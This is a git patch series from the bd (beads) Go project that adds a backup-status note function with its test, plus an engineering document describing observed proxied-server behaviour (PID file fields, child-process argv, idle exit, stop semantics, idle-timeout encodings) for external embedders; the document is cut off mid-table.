+++ b/cmd/bd/backup_auto.go @@ -40,6 +40,43 @@ func isBackupAutoEnabled() bool { return primeHasGitRemote() } +// backupAutoStatusNote returns the parenthetical `bd backup status` +// prints after the effective backup.enabled value, or "" when the value +// speaks for itself. Callers pass the value isBackupAutoEnabled() +// already computed so the note cannot disagree with the number beside +// it — and so status does not re-run the git-remote probe. +// +// The note narrates the reason the decision actually used. Proxied-server +// is checked first and ignores the config source, because on that topology +// auto-backup cannot run at all whatever backup.enabled says: the proxied +// arm of PersistentPostRunE never calls runPostRunAutoBackup (main.go), so +// an explicit backup.enabled=true is inert and reporting a bare +// "enabled=true" would send the operator away believing backups happen. +// The five backup verbs are honored on managed-local (the only proxied +// shape that reaches this line — every other one is refused by +// requireLocalProxiedBackup), so `bd backup sync` is the real answer there. +// +// Every other sql-server shape keeps its post-run hook, so there the +// default is merely off — the reason `bd config get backup.enabled` +// already reports for the same condition. Before this arm existed, status +// attributed that OFF to a missing git remote, which is untrue: server +// mode short-circuits isBackupAutoEnabled whether or not a remote exists. +func backupAutoStatusNote(enabled bool) string { + if usesProxiedServer() { + return "auto-backup does not run on proxied-server; use 'bd backup sync'" + } + if config.GetValueSource("backup.enabled") != config.SourceDefault { + return "" + } + if usesSQLServer() { + return "auto: off in sql-server mode" + } + if enabled { + return "auto: git remote detected" + } + return "auto: no git remote" +} + // clientServerShareFilesystem reports whether the configured Dolt // server runs on a filesystem the bd client can also see — i.e. // whether a file:// URL constructed on the client is meaningful to diff --git a/cmd/bd/backup_auto_test.go b/cmd/bd/backup_auto_test.go index 4dbd14d9b..5e64195db 100644 --- a/cmd/bd/backup_auto_test.go +++ b/cmd/bd/backup_auto_test.go @@ -123,6 +123,145 @@ func TestIsBackupAutoEnabled(t *testing.T) { } } +// TestBackupAutoStatusNote pins the reason `bd backup status` prints beside +// the effective backup.enabled value against the reason isBackupAutoEnabled +// actually used — the two are computed in different files and drifted apart +// once already. +// +// The regression this locks down arrived with the proxied-parity S3 slice +// (PR #6584): honoring the backup family on managed-local made `bd backup +// status` reachable on a proxied server for the first time, where it rendered +// the embedded-mode footnote "(auto: no git remote)". On any sql-server shape +// the value is false because usesSQLServer() short-circuits, whether or not a +// remote exists, so that reason was simply untrue; and on proxied specifically +// even an explicit backup.enabled=true changes nothing, because the proxied +// arm of PersistentPostRunE never calls runPostRunAutoBackup. +// +// Cannot be parallel: mutates the proxiedServerMode global, primeHasGitRemote +// and env vars. +func TestBackupAutoStatusNote(t *testing.T) { + tests := []struct { + name string + envVal string // "\x00" = not set, otherwise explicit backup.enabled + hasRemote bool + sharedServer bool // BEADS_DOLT_SHARED_SERVER=1 → usesSQLServer() true + proxied bool // proxiedServerMode → usesProxiedServer() true + wantEnabled bool + wantNote string + }{ + { + name: "embedded default + git remote → unchanged", + envVal: "\x00", + hasRemote: true, + wantEnabled: true, + wantNote: "auto: git remote detected", + }, + { + name: "embedded default + no git remote → unchanged", + envVal: "\x00", + hasRemote: false, + wantEnabled: false, + wantNote: "auto: no git remote", + }, + { + name: "embedded explicit → no note, the source explains it", + envVal: "true", + hasRemote: false, + wantEnabled: true, + wantNote: "", + }, + { + // Pre-fix this case printed "auto: no git remote" even with a + // remote configured: server mode, not the remote, is the reason. + name: "sql-server default + git remote → server mode, not the remote", + envVal: "\x00", + hasRemote: true, + sharedServer: true, + wantEnabled: false, + wantNote: "auto: off in sql-server mode", + }, + { + // Non-proxied server mode keeps its post-run hook, so an explicit + // opt-in really does work there and needs no caveat. + name: "sql-server explicit opt-in → no note", + envVal: "true", + hasRemote: false, + sharedServer: true, + wantEnabled: true, + wantNote: "", + }, + { + name: "proxied default → names the missing hook, not the remote", + envVal: "\x00", + hasRemote: true, + proxied: true, + wantEnabled: false, + wantNote: "auto-backup does not run on proxied-server; use 'bd backup sync'", + }, + { + // The dead opt-in: enabled=true with nothing to run it. The note + // must survive an explicit source here, or status reports a bare + // "enabled=true" and the operator believes backups are happening. + name: "proxied explicit opt-in → still inert, still annotated", + envVal: "true", + hasRemote: false, + proxied: true, + wantEnabled: true, + wantNote: "auto-backup does not run on proxied-server; use 'bd backup sync'", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + // Same isolation as TestIsBackupAutoEnabled: a leaked BEADS_DIR or + // a cwd inside the repo tree lets Initialize() load an ambient + // config.yaml whose explicit backup.enabled wins over the computed + // default these cases assert on (be-yjp4z). + t.Chdir(t.TempDir()) + t.Setenv("BEADS_DIR", "") + t.Setenv("BEADS_TEST_IGNORE_REPO_CONFIG", "1") + + orig := primeHasGitRemote + primeHasGitRemote = func() bool { return tt.hasRemote } + t.Cleanup(func() { primeHasGitRemote = orig }) + + origProxied := proxiedServerMode + proxiedServerMode = tt.proxied + t.Cleanup(func() { proxiedServerMode = origProxied }) + + if tt.sharedServer { + t.Setenv("BEADS_DOLT_SHARED_SERVER", "1") + } else { + os.Unsetenv("BEADS_DOLT_SHARED_SERVER") + t.Cleanup(func() { os.Unsetenv("BEADS_DOLT_SHARED_SERVER") }) + } + + if tt.envVal == "\x00" { + os.Unsetenv("BD_BACKUP_ENABLED") + t.Cleanup(func() { os.Unsetenv("BD_BACKUP_ENABLED") }) + } else { + t.Setenv("BD_BACKUP_ENABLED", tt.envVal) + } + + config.ResetForTesting() + t.Cleanup(func() { config.ResetForTesting() }) + if err := config.Initialize(); err != nil { + t.Fatalf("config.Initialize: %v", err) + } + + // Take the value the way backup status does, so the note is pinned + // against the number it is printed beside rather than a literal. + enabled := isBackupAutoEnabled() + if enabled != tt.wantEnabled { + t.Fatalf("isBackupAutoEnabled() = %v, want %v", enabled, tt.wantEnabled) + } + if got := backupAutoStatusNote(enabled); got != tt.wantNote { + t.Errorf("backupAutoStatusNote(%v) = %q, want %q", enabled, got, tt.wantNote) + } + }) + } +} + // TestClientServerShareFilesystem_GH3523 pins the gating logic that // suppresses auto-backup's file:// register when the Dolt server // runs on a different filesystem from the client. Pre-fix every From 1e754a015645c1630321606d86b7909d5d7ca4d5 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 23 Sep 2026 21:59:27 -0700 Subject: [PATCH 070/624] docs(engdocs): proxied-server surfaces an embedder reads, as observed at 1.3.1 (#6652) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * docs(engdocs): write down the proxied-server surfaces an embedder reads, as observed at 1.3.1 An embedder — an external tool linking bd's Go packages, or one running beside bd against the same workspace — ends up depending on surfaces bd never published: proxy.pid's field names, the db-proxy-child argv, the shape of `bd dolt status --json`, whether a Go symbol is exported or reachable only by type assertion. Eleven of those were asked about; none of them is a contract, and the answer to "will these hold" is no promise. This writes them down anyway, as observed behaviour with the commit they were read at, so that an embedder can build against what the code does instead of guessing. Framing is deliberate and the document says so twice: descriptive, not a compatibility contract; every surface may change in any release, including a patch release. Four are moving in 1.3.1 itself and are given as before/after — `bd dolt status --json`'s reshape (#6580) has landed and is described in its new shape; the `bd migrate schema` refusal, the explicit sidecar `idle_timeout`, and clean-backend-exit handling plus backend-probing adoption (#6651) are decided but had not landed at d487b9796, so each states current behaviour as current. A closing section ranks which surfaces are likelier to move, and a final one lists the claims that would need a running proxy to confirm and were inferred from source instead. Four of the eleven pointers the request carried were off, and are corrected here rather than copied: - The loopback root/no-password fact is not in the proxy's connection handler at all. Only the byte-pump half lives there; the credentials come from newManagedProxiedServerUOWProvider passing "root"/"" in cmd/bd/uow_factory.go, over a generated sql-server config that binds 127.0.0.1 and declares no users. - SetEventsJournalEnabled is not on the Storage interface and is not named in beads_cgo.go. It is storage.EventsJournalConfigurer, an optional interface in internal/storage/storage.go, which is not re-exported publicly — so the assertion has to be written against a locally declared method set. - The shared-store gate's 30s default constant lives in internal/storage/uow/dolt_sql_provider.go, not in the provider that applies it. - The argv pointer stopped at --config and missed --dolt-bin, --database and the four --external-* flags. While verifying #8 a routing fact turned up that an embedder needs more than the interface question: neither copy of OpenBestAvailable has a proxied arm, and IsDoltServerMode and IsDoltProxiedServerMode are mutually exclusive, so on a proxied workspace it falls through to an embedded open over .beads/dolt — the same directory the proxy's sql-server is serving. Documented, with the consequence of that open marked as untested here. Filed under engdocs/ beside EXTENDING.md, which is already the entry point for "not user-facing; for code that embeds bd", linked from it, and registered in DOC_INVENTORY.md's Active Docs and Reference Freshness tables. The Last reviewed / Freshness source markers match check-doc-freshness.sh's format but the doc is deliberately NOT added to that script's enforced list: putting a 90-day tripwire on a release branch is a maintainer's call. scripts/check-doc-flags.sh and scripts/check-doc-freshness.sh both pass. Co-Authored-By: Claude Fable 5 * docs(engdocs): describe the data-port capability generically The prior wording named an integration shape rather than the capability. State what the byte pump plus the generated config actually let an embedder do. Co-Authored-By: Claude Fable 5 * docs(engdocs): correct five factual claims and drop four promise leaks Two adversarial reviews returned FIX_FIRST on the observed-surfaces doc. Corrections, each re-verified against source: - §8: the embedded fall-through does not open the directory the proxy is serving. embeddeddolt hardcodes /embeddeddolt (newStore, cacheKey, HasRepository); the proxy serves the proxied root, default /dolt. The hazard is a silently separate database — empty on a workspace born proxied, stale on one that was ever embedded, since no mode-migration verb removes that directory — not contention. - §10: backend_running carries no omitempty, so five keys are always present, not four. The doc's own external example contradicted its rule. - §3: neither readiness probe uses credentials. Both poll DatabaseServer.Dial, a bare TCP connect. root/"" belongs to bd's SQL open and to DoltServer's shutdown GC. - §2: the --external-* flags need both conditions — external backend AND a set value — and ExternalDoltConfig.Validate makes host/port and socket mutually exclusive, so all four never appear together. - §6: the proxied migrate payload is NOT the direct path's shape. Direct emits {status, applied, latest_version}; proxied drops applied and adds mode and note. - §4: Handle.Kill is SIGKILL on macOS too, and the stop epoch advances once per call rather than per record. Promise leaks removed: the invented "would break the same consumers twice" maintainer policy, flat future tense on an unlanded warning, "safe for an embedder to poll", and "least likely to move" as a stability signal. check-doc-flags.sh and check-doc-freshness.sh both pass. Co-Authored-By: Claude Fable 5 * docs(engdocs): drop a Markdown-unsafe escaped quote from the §8 rewrite Co-Authored-By: Claude Fable 5 * docs(engdocs): re-anchor to the rebase base and record the #6575 data-behind stop Maintainer review fixup for #6652. The doc landed marked `Read at: d487b9796`, but the branch merges into `e1e1158dd`, and five of the sources it names as its freshness basis drifted in between — including §7's sole source. By the doc's own rule that makes the marker wrong, not merely old. - Re-anchor `Read at:`/`Last reviewed:` and the four in-body read-commit references to `e1e1158dd`, and add the sources the re-read reached: `smart_remote_migrate_gate.go`, `internal/storage/embeddeddolt/`, `cmd/bd/remote_migrate_gate.go`, `cmd/bd/store_factory.go`, `internal/storage/dolt/store.go`. - §7: record #6575's data-behind stop — trigger, its reporting ahead of `shared-store`, the collapse to a single `pull-first` option, the exported `IsDataBehind()`/`DataBehindRemedyCommand` an embedder classifies on, and the lenient `OpenForRemoteSync` carve-out for the remedy. - §7: scope the `OpenForRemoteSync` carve-out to the CLI. Both that function and the `dolt.Config.RemoteSyncOpen` field live under `internal/`, and none of the public open paths takes an option that could request the lenient open, so an embedder cannot replicate the remedy in-process: it runs `bd dolt pull` out of process, outside proxied mode, and re-opens. - §7: scope that stop's reachability to the call sites that wire the ancestry adopter, rather than asserting a proxied workspace meets it. `localDataBehind` reads `FastForwardAdopter.AheadBehind` and reports "not behind" when the adopter is nil; of the two production callers of `CheckSharedStoreMigrateGate`, only `internal/storage/dolt`'s server-mode open wires it. `internal/storage/uow/dolt_sql_provider.go` — the proxied CLI path and `bd serve`'s own provider, per `cmd/bd/uow_factory.go` — passes nil, so a proxied, remote-backed clone that is data-behind at schema parity routes to `smartAutoMigrate` and gets the shared-store refusal, never the pull-first one. Embedded mode reaches the stop by the other route, `CheckRemoteMigrateGateWithAdopt` with a fully-wired adopter. The proxied `dolt pull` observation is re-framed to match: the pull is still the precondition and proxied mode still refuses the verb, but the gate never names it there. The underlying gap is base behaviour at this commit. - §7: the trigger is `behind >= 1` whatever `ahead` is, not the narrower strict-ancestor relation — `localDataBehind` states that restricting the stop to `ahead == 0` "would leave the larger half of the affected cohort unprotected". The `DataDiverged` bullet now names `ahead >= 1` as the shape, which is why that pull merges rather than fast-forwards. - §7's "adds two refusals" is deliberately kept. That count is the shared form's delta over the remote-backed flow and mirrors the source comment on `CheckSharedStoreMigrateGate`; the data-behind stop lives in `checkRemoteMigrateGate` underneath, so raising it to three would introduce a new error. The section now says so in place. - §8: four join sites, not three — name `openReadOnly` and scope the create-rather-than-fail claim to the read-write path. - §3: carry the "not verified by running" marker inline beside the MySQL client claim, as §11 already does. - §6: scope the migrate-verb consent to the arm that reads it. The headline and the consent bullet said the verb migrates on a proxied workspace unconditionally, contradicting §7's own already-correct wording. `sharedMigrateConsent` has exactly one non-test read site, `sharedNoRemoteGate`, reached only from `checkRemoteMigrateGate`'s `if !hasRemote` branch; the comment there scopes it deliberately, because with a remote configured #4259's cross-clone fork risk still demands the stronger designated-migrator confirmation. A remote-backed shared or proxied database consults only `--force` / `BD_ALLOW_REMOTE_MIGRATE` and otherwise refuses the pending main-lane migration at the store open. §7's `SharedConsentCommand` hedge is deliberately unchanged. - §6: qualify the `--force` parenthetical in that same consent bullet. `bd migrate schema --force` trips `isForcedMigrate`, but the bare `bd migrate --force` never gets that far on a proxied workspace: `validateProxyMaintenanceBeforeProvider` runs inside the proxied-mode block of the root `PersistentPreRunE`, ahead of `schema.SetForceAllowRemoteMigrate`, and its full-path lookup matches `migrate` and exits with `proxy.migrate.unsupported` before any store opens — the refusal §6's own second paragraph already states. `bd migrate schema` escapes only because its command path contains a space and returns nil first. The clause now scopes the bare verb instead of offering it as an unlock on the one workspace that refuses it. - §6: name the `migrate sync`/`migrate-personal`/`migrate-issues` rows and the history-capability gate that runs before the multi-word fall-through. - Update the "Four of the eleven" count and the `DOC_INVENTORY` freshness row to match. --------- Co-authored-by: Claude Fable 5 --- engdocs/DOC_INVENTORY.md | 3 + engdocs/EMBEDDING_OVER_PROXIED_SERVER.md | 861 +++++++++++++++++++++++ engdocs/EXTENDING.md | 9 + 3 files changed, 873 insertions(+) create mode 100644 engdocs/EMBEDDING_OVER_PROXIED_SERVER.md diff --git a/engdocs/DOC_INVENTORY.md b/engdocs/DOC_INVENTORY.md index 76d821f3e..d48da2c1d 100644 --- a/engdocs/DOC_INVENTORY.md +++ b/engdocs/DOC_INVENTORY.md @@ -38,6 +38,7 @@ freshness source. | `SERVE_RUNBOOK.md` | `Last reviewed:` marker tied to the operating-envelope constants in `internal/httpapi/server.go` and the log fields in its `event`/`request` emitters. | | `CI_CLEANUP_PLAN.md` | `Last reviewed:` marker tied to the CI audit, workflow files, wrapper scripts, `Makefile`, package manifests, and maintainer decision review. | | `design/otel/otel-data-model.md` | `Last reviewed:` marker tied to telemetry, Dolt storage, hooks, and AI call sites. | +| `EMBEDDING_OVER_PROXIED_SERVER.md` | `Last reviewed:` marker naming the commit it was read at, tied to `internal/storage/dbproxy/`, `internal/storage/uow/`, `internal/storage/schema/` gate and lock, `cmd/bd/dolt_proxied_lifecycle.go`, and the root `beads*.go` open path down into `internal/storage/dolt/` and `internal/storage/embeddeddolt/`. Re-read against those sources per release; the doc describes observed behaviour, so a stale marker makes it wrong rather than merely old. | Follow-up automation should replace marker-only checks with generated or `--check` blocks where a clean code source exists. @@ -81,7 +82,9 @@ Follow-up automation should replace marker-only checks with generated or | `DOLT-BACKEND.md` | Consolidated pointer | Old duplicate staged; stable path points to canonical `DOLT.md`. | | `DOLT.md` | Keep/canonical | Canonical Dolt backend guide. | | `ERROR_HANDLING.md` | Keep with freshness | Pattern guide with code-linked examples; marker added. | +| `EMBEDDING_OVER_PROXIED_SERVER.md` | Keep with freshness | Observed proxied-server surfaces an embedder reads (pid file, child argv, status JSON, optional interfaces). Descriptive, not a compatibility contract; marker tied to the dbproxy, uow, schema-gate and proxied-lifecycle sources it quotes. | | `EXCLUSIVE_LOCK.md` | Keep | Behaviour/design doc for lock protocol. | +| `EXTENDING.md` | Keep | Storage-API contracts callers must honor; entry point for embedder docs. | | `FAQ.md` | Revise | Opening wording now describes beads as Dolt-powered; stale pre-1.0 status removed. | | `FEDERATION.md` | Keep/canonical | Canonical federation (peer-to-peer sync) guide; moved from root `FEDERATION-SETUP.md`, which is now a stable pointer. Absorbed the duplicate federation section previously in `DOLT.md`. | | `GIT_INTEGRATION.md` | Keep | User-facing git/worktree/hook behaviour. | diff --git a/engdocs/EMBEDDING_OVER_PROXIED_SERVER.md b/engdocs/EMBEDDING_OVER_PROXIED_SERVER.md new file mode 100644 index 000000000..8ca5057ae --- /dev/null +++ b/engdocs/EMBEDDING_OVER_PROXIED_SERVER.md @@ -0,0 +1,861 @@ +# Embedding over a proxied-server workspace: observed behaviour at 1.3.1 + +Last reviewed: 2026-09-23 + +Read at: `e1e1158dd` (`v1.3.1-rc.1-2-ge1e1158dd`). Because this document +describes observed behaviour rather than a contract, a stale marker makes it +wrong, not merely old. Re-read it against the sources below before trusting it +against a later build. + +Freshness source: `internal/storage/dbproxy/pidfile/pidfile.go`, +`internal/storage/dbproxy/proxy/` (`endpoint.go`, `server.go`, `shutdown.go`, +`read_status.go`, `backend.go`), `internal/storage/dbproxy/server/doltserver.go`, +`internal/configfile/proxied_server_client_info.go`, +`internal/configfile/configfile.go` (the storage-mode predicates), +`internal/doltserver/physical_root.go`, +`internal/storage/uow/doltserver_provider.go`, +`internal/storage/uow/dolt_sql_provider.go`, +`internal/storage/schema/remote_migrate_gate.go`, +`internal/storage/schema/smart_remote_migrate_gate.go`, +`internal/storage/schema/lock.go`, `internal/storage/storage.go`, +`internal/storage/dolt/store.go` (the server-mode shared-gate call site), +`internal/storage/embeddeddolt/` (`store.go`, `cache.go`, `detection.go`), +`cmd/bd/db_proxy_child.go`, `cmd/bd/dolt.go`, +`cmd/bd/dolt_proxied_lifecycle.go`, `cmd/bd/migrate.go`, `cmd/bd/main.go`, +`cmd/bd/proxied_server.go`, `cmd/bd/proxy_capability.go`, +`cmd/bd/remote_migrate_gate.go`, `cmd/bd/store_factory.go`, +`cmd/bd/uow_factory.go`, `beads.go`, `beads_cgo.go`, `beads_nocgo.go`. + +## What this document is, and is not + +An embedder — an external tool that links bd's Go packages, or one that runs +beside `bd` against the same workspace — ends up leaning on surfaces bd never +published: a PID file's field names, a child process's argv, the shape of a +`--json` payload, whether a Go symbol is exported. This document writes those +down as **observed behaviour at 1.3.1**, so that an embedder can build against +what the code actually does instead of guessing. + +It is not a compatibility contract. Nothing here is a published interface with a +deprecation policy behind it. Every surface below is an implementation detail +that bd's own code reaches through, and each one may change in any release, +including a patch release. Five of the eleven are moving in 1.3.1 itself and say +so in place: §7 and §10 have landed and are described in their new shape, and +§5, §6 and §11 are decided for 1.3.1 but had not landed at the commit above, so +each is given as before/after with the current behaviour marked as current. Read +this as a snapshot with the commit it was taken at, and re-read it against the +source before an upgrade. + +Two things follow for anyone building on this: + +- **Prefer the front door.** Where `bd` offers a command or a `--json` payload + that answers your question, go through it. The control files under the proxied + root are bd's private lifecycle state; reading them means tracking bd's + lifecycle work release by release. +- **Fail loudly on a shape you do not recognise.** A missing JSON key, an + unexpected `schema` number, a new argv flag — treat these as "this bd is not + the one I was written against", not as a default to paper over. + +Everything below was checked by reading the source at `e1e1158dd`. Where a claim +would need a running proxy to confirm end to end, it says so. + +## The topology being described + +"Proxied-server" mode puts a small bd-owned TCP proxy between every bd client +and a `dolt sql-server`. The proxy is a separate detached process (`bd +db-proxy-child`), it starts on demand when a command needs the store, it owns +the lifetime of its `dolt` child, and it exits when idle. The workspace's +**proxied root** holds the proxy's control files; it defaults to `.beads/dolt` +and is resolved by `doltserver.ResolveProxiedServerRootPath` from, in order: +`BEADS_PROXIED_SERVER_ROOT_PATH`, the sidecar's `root_path`, then the default. + +The control files in that root, as enumerated by `proxy.ControlFilePaths`: + +| File | Written by | Holds | +|---|---|---| +| `proxy.pid` | the proxy | the published endpoint record (§1) | +| `proxy.lock` | the proxy | held for the proxy's whole lifetime | +| `proxy.log` | the proxy | proxy trace log | +| `proxy.secret` | the proxy | 64 hex chars authenticating the control port | +| `proxy.spawn` | the spawning parent | in-progress-start marker | +| `proxy.stop-epoch` | `bd dolt stop` | monotonic token that dooms in-flight starts | +| `proxy-child.pid` | the proxy | the `dolt sql-server` record | +| `proxy-child.lock` | the proxy | held while the backend runs | +| `.stale-` | either | quarantined records, swept after 30 days | + +Two topologies share this machinery: **managed-local**, where bd spawns the +`dolt sql-server` itself, and **external**, where the proxy fronts a +`dolt sql-server` somebody else runs. They differ in several of the surfaces +below, and the difference is usually the part an embedder gets wrong. + +--- + +## 1. The `proxy.pid` record + +`internal/storage/dbproxy/pidfile/pidfile.go` — one `PidFile` type serves both +records. JSON keys, in declaration order: + +```json +{ + "pid": 251973, + "port": 33825, + "upstream_id": "…", + "schema": 2, + "kind": "db-proxy", + "birth": "…", + "root_id": "…", + "control_port": 41277 +} +``` + +`pid` and `port` are always present. Every other field carries `omitempty`, so a +zero value is absent from the file rather than written as `0` or `""`. + +- `port` is the **data port** — the loopback MySQL-protocol endpoint bd clients + connect to. +- `control_port` is a separate loopback listener that answers an authenticated + identity challenge using the secret in `proxy.secret`. It is not a data port. +- `kind` is `"db-proxy"` in `proxy.pid` and `"dolt-backend"` in + `proxy-child.pid` (`pidfile.KindProxy` / `pidfile.KindDoltBackend`). +- `schema` is `2` today (`pidfile.SchemaV2`). `PidFile.ValidateV2` accepts + `schema >= 2`, so a later bd may raise it without bd's own readers rejecting + the record; a reader of your own should do the same rather than equality-match. +- `birth` is a platform-specific process-identity token, and `root_id` is the + SHA-256 of the symlink-resolved absolute proxied root. Treat both as opaque. + +`ValidateV2` rejects a record with `schema < 2`, `pid <= 0`, a `port` outside +1–65535, a `control_port` that is neither 0 nor 1–65535, a `kind` other than the +expected one, or an empty `birth`. + +**What an embedder can observe, and the trap.** Reading `port` out of +`proxy.pid` is not the same as knowing a proxy is live on it. Before bd adopts a +record (`proxy.readAndDial`) it also verifies `birth` against the live PID, +completes the authenticated challenge on `control_port` and cross-checks every +field of the reply against the file and the workspace, and TCP-probes the data +port. A record left behind by a killed proxy passes a naive parse and points at +a port that may since have been recycled by an unrelated process. If you read +this file at all, verify liveness yourself before connecting — or use `bd dolt +status --json` (§10), which performs that whole check for you. + +## 2. The `db-proxy-child` argv + +`proxy.forkExecChild` in `internal/storage/dbproxy/proxy/endpoint.go` builds the +argv; `cmd/bd/db_proxy_child.go` declares the flags. The command is hidden and +is not meant to be invoked by hand. + +Always present, in this order: + +``` +bd db-proxy-child --root --port --idle-timeout --backend --stop-epoch +``` + +Then, each only when its value is non-empty: + +``` +--config --logpath --dolt-bin --database +``` + +And, only when `--backend` is `external` — and then, like the group above, each +only when its own value is set (non-empty string, non-zero number or duration): + +``` +--external-host --external-port --external-socket-path --external-keep-alive +``` + +Both conditions matter, because neither alone predicts the argv. The group is +skipped wholesale on the other two backends, and inside it you never see all +four: `ExternalDoltConfig.Validate` rejects a socket set alongside a host or +port, and refuses a host without a port, so a socket topology carries only +`--external-socket-path` and a TCP one carries `--external-host` *and* +`--external-port` together. `--external-keep-alive` is the one flag whose +absence is a default rather than a gap — the child's flag help documents 30s — +so read a missing one as "unset", not as "off". + +`--root`, `--port` and `--backend` are the required flags. `--backend` takes one +of `local-server`, `external`, or `local-shared-server` — the last is declared +but returns "not yet implemented" from `newDatabaseServer`. + +Notes on three values an embedder is likely to read: + +- **`--root`** is always an absolute path. The provider resolves it with + `filepath.Abs` before the proxy is opened. +- **`--port 0`** is the normal case, not a literal port: the child binds an + OS-assigned port and publishes it in `proxy.pid`. A non-zero value is only + passed when the workspace pins one. +- **`--idle-timeout`** is a Go duration string. Negative means never, and the + parent normalises *any* negative value to `proxy.IdleTimeoutNever` (`-1`), so + the argv you will actually see for "never" is `--idle-timeout -1ns`. The + child's own flag help states `0 or negative = never shut down`, which matches + the watcher in §4. This is the third of three different encodings of the same + setting — see §5 before writing one. + +## 3. A loopback root / no-password client on the data port + +Two separate facts combine here, and they live in different files. + +**The proxy does not parse what it carries.** `proxyServer.handleConn` in +`internal/storage/dbproxy/proxy/server.go` dials the backend once per accepted +client connection and then runs two `io.Copy` goroutines, client→backend and +backend→client, in an errgroup. There is no MySQL protocol awareness, no +connection pooling and no multiplexing: the proxy is a byte pump, and *N* client +connections become *N* backend connections. When either direction finishes, or +the proxy's context is cancelled, both sides are closed. + +**The managed-local backend authenticates as `root` with no password.** In +`newManagedProxiedServerUOWProvider` (`cmd/bd/uow_factory.go`) bd passes the +literal `"root"` and `""` to the provider, commented "proxy is loopback-only, no +auth". The generated `dolt sql-server` config (`renderProxiedServerConfig` in +`cmd/bd/proxied_server.go`) binds `127.0.0.1` on a free port, sets log level +`info` and auto-GC archive level `0`, and declares no users section, so Dolt's +default `root` with an empty password applies. The same pair turns up once more +inside the proxy's own process tree, in `DoltServer`'s shutdown-GC connection +(`internal/storage/dbproxy/server/doltserver.go`). + +**The readiness probes prove nothing about credentials.** Both of them — +`DoltServer.waitReady` and the proxy's `waitForServerReady` +(`internal/storage/dbproxy/proxy/server.go`) — poll `DatabaseServer.Dial`, which +is a bare `net.Dialer` connect to the backend's host/port or socket, closed again +the moment it succeeds. No handshake is attempted and no credentials are +supplied, so "ready" here means only that something is listening. That is worth +knowing in both directions: it is why the probes cannot be cited as evidence of +the auth posture, and it is the same shallowness §11 turns on. + +**What an embedder can observe.** On a managed-local proxied workspace, a +plain MySQL client connecting to `127.0.0.1:` as `root` +with no password reaches the same database bd does, and the proxy passes the +handshake through untouched. That is what lets an embedder read and write the +workspace's live database without standing up a server of its own. +*Not verified by running:* this is the composition of three separately-read +facts — the credential pair, the generated config's loopback bind with no users +section, and the proxy's lack of protocol handling — not an observed connection. +The proxy dials the backend per accepted connection and closes the client on any +dial or handshake failure, so treat a successful connect as the thing to check +first, not as given. + +Three qualifications worth carrying: + +- It follows from the *generated config*, not from a decision to offer an + authentication posture. A workspace that supplies its own server config, or + the external topology (where credentials come from `ExternalDoltConfig` and + the password from that config's environment variable), does not behave this + way. +- The loopback bind is the whole access control. Anything that can open a TCP + connection to that port on the host is `root` on the database. +- The **control** port in the same record is not open in this sense: it requires + the `proxy.secret` value. + +## 4. Open connections, idle exit, and `bd dolt stop` + +**Any accepted connection defers idle exit.** `proxyServer.idleWatcher` +(`internal/storage/dbproxy/proxy/server.go`) returns immediately into a wait +when `idleTimeout <= 0` — that is the "never" case. Otherwise it ticks every +`idleTimeout/4`, with a 1s floor. A tick that sees `activeConns > 0` clears the +armed state; the first tick that sees zero *arms* a timestamp; a later tick then +exits once `timeout` has elapsed since arming. `activeConns` is incremented in +`handleConn`, so an accepted TCP connection counts even if it never sends a +byte. + +Two consequences an embedder should plan for: + +- Holding one idle connection open keeps the proxy and its backend alive + indefinitely. That falls out of how the watcher counts, so it is as much an + easy way to pin the tree up by accident as a deliberate one — and it is a + property of the watcher, not an offer. +- Exit is not punctual. Arming costs a tick, so the observed lifetime after the + last connection closes is longer than the configured timeout — up to roughly + two ticks longer. + +**`bd dolt stop` does not wait for clients.** On a proxied workspace (`cmd/bd/dolt.go`) +the command calls `proxy.Shutdown(rootDir)`, which: + +1. advances `proxy.stop-epoch`, which makes every start attempt already in + flight abort terminally rather than retry; +2. acquires `proxy.lock`, re-reads `proxy.pid`, validates it against the + workspace, and **kills the recorded process** — `procid.Handle.Kill` is + `SIGKILL` on Linux and macOS, `os.Kill` on Windows; +3. waits only for that *process* to be gone (`max(remaining of 5s, 2s)`), then + removes the record; +4. repeats steps 2 and 3 for `proxy-child.pid` — the stop epoch is advanced once + for the whole call, not per record. + +There is no drain phase, no notification to connected clients and no wait on +`activeConns` anywhere in that path. An embedder's in-flight query is severed +when the proxy dies. The proxy does install SIGTERM/SIGINT handlers for its own +graceful path, but `bd dolt stop` does not use them, and even that path +force-closes both sides of every connection on context cancellation rather than +draining. + +If `Shutdown` refuses because a record's identity cannot be verified, +`bd dolt stop --force` escalates to `proxy.ForceStopUnverified`; the refusal is +recognisable with `proxy.CanForceStopUnverified`. + +## 5. The sidecar's `idle_timeout` — changing in 1.3.1 + +One setting has three encodings, and they disagree about what `0` means. Getting +this wrong is how a workspace ends up with a proxy that never exits, or one that +exits under a long-running embedder. + +**(a) The CLI flags.** `bd init --proxied-server-idle-timeout` and the +`--idle-timeout` flag on the proxied-mode migrate verbs share a convention: +omitting the flag selects the built-in default, an explicit `0` means *never*, +and a negative value is refused outright ("must be 0 (never) or a positive +duration"). `resolveMigrateIdleTimeout` and `init.go` both map that explicit `0` +to `proxy.IdleTimeoutNever` before storing it. + +**(b) The sidecar file.** +`.beads/proxied_server_client_info.json`, typed by +`configfile.ProxiedServerClientInfo`: + +The full key set is `root_path`, `config_path`, `log_path`, `port`, +`idle_timeout`, `external` — and **every one of them carries `omitempty`**, so a +realistic managed-local sidecar with an OS-assigned port and an explicit 45s +timeout is just: + +```json +{ + "root_path": "/abs/path/.beads/dolt", + "idle_timeout": 45000000000 +} +``` + +`port: 0` (the OS-assigned case), a nil `external`, and unset paths are all +absent rather than written as `0`, `null` or `""`. Paths, when present, may be +relative to the `.beads` directory; the `Resolved*Path` helpers on the type are +what bd uses to join them. + +`idle_timeout` is a Go `time.Duration` with no custom marshaller, so it is **an +integer number of nanoseconds**, not a duration string: 45s is `45000000000`, +30s is `30000000000`, never is `-1`. Combined with `omitempty`, that means a +value of `0` is written as *no key at all*. + +**(c) The effective value.** `NewDoltServerUOWProvider` +(`internal/storage/uow/doltserver_provider.go`) applies +`if idleTimeout == 0 { idleTimeout = defaultProxyIdleTimeout }`, and +`defaultProxyIdleTimeout` is **30s** (`internal/storage/uow/dolt_sql_provider.go`). +The external provider does the same. So, at the sidecar layer: + +| sidecar `idle_timeout` | effective | +|---|---| +| key absent | 30s | +| `0` 